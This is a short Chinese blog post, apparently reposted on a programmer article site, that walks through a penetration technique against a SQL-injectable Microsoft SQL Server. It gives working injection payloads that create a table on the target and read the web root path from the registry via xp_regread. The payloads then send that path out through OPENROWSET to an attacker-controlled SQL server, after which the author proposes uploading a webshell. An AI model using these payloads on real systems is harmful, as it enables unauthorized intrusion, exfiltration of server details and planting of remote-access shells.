欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

渗透中用openrowset搞shell的方法

程序员文章站 2022-03-12 22:15:20
渗透中用openrowset搞shell的方法  得到sql注入点,首先想到的是backup webshell,扔在nb里跑一圈,发现屏蔽了sql错误信...
渗透中用openrowset搞shell的方法 
得到sql注入点,首先想到的是backup webshell,扔在nb里跑一圈,发现屏蔽了sql错误信息,得不到物理路径,那还写个pp马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个sql命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立sql数据库 

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--

在对方执行 declare @result varchar(255) exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/' ,@result output insert into fenggou (cha8) values('select a.* from openrowset(''sqloledb'',''自己的ip'';''sa'';''你的密码'', ''select * from pubs.dbo.authors where au_fname=''''' + @result + ''''''')as a');--

这样fenggou这个表里就会有这样一条记录select a.* from openrowset('sqloledb','自己的ip';'sa';'你的密码', 'select * from pubs.dbo.authors where au_fname=''d:\web,,1''')as a

不用说,''d:\web"就是从注册表里读出的物理路径拉.然后执行declare @a1 char(255) set @a1=(select cha8 from fenggou) exec (@a1);--

等于执行了select a.* from openrowset('sqloledb','自己的ip';'sa';'你的密码', 'select * from pubs.dbo.authors where au_fname=''d:\web,,1''')as a

ok,这时你在你机器上sql事件追踪器上就会显示select * from pubs.dbo.authors where au_fname='d:\web,,1' 
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~